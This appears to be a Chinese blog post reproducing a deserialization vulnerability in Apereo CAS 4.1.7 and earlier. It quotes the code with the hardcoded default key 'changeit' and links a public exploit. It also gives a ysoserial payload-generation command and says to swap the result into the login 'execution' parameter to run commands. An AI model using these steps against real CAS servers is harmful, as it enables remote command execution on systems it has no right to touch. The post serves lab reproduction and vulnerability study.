- A+
所属分类:漏洞复现
漏洞介绍:
Apereo CAS是一款Apereo发布的集中认证服务平台,常被用于企业内部单点登录系统。其4.1.7版本之前存在一处默认密钥的问题,利用这个默认密钥我们可以构造恶意信息触发目标反序列化漏洞,进而执行任意命令。
影响版本:
1 |
Apereo CAS <= 4.1.7 |
漏洞原理:
WEbflow中使用了默认秘钥changeit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
public class EncryptedTranscoder implements Transcoder { private CipherBean cipherBean; private boolean compression = true; public EncryptedTranscoder() throws IOException { BufferedBlockCipherBean bufferedBlockCipherBean = new BufferedBlockCipherBean(); bufferedBlockCipherBean.setBlockCipherSpec(new BufferedBlockCipherSpec("AES", "CBC", "PKCS7")); bufferedBlockCipherBean.setKeyStore(this.createAndPrepareKeyStore()); bufferedBlockCipherBean.setKeyAlias("aes128"); bufferedBlockCipherBean.setKeyPassword("changeit"); bufferedBlockCipherBean.setNonce(new RBGNonce()); this.setCipherBean(bufferedBlockCipherBean); } // ... |
漏洞检测:
漏洞存在于登陆的execution 参数,使用burp抓包可以发现该参数。
漏洞复现:
下载exp
1 |
https://github.com/vulhub/Apereo-CAS-Attack |
payload生成:
使用ysoserial的CommonsCollections4生成加密后的Payload:
1 |
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "touch /tmp/success" |
将生成的payload替换execution参数的值。
文件被创建
检测工具:
1 |
https://github.com/21superman/Cas_Exploit |
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫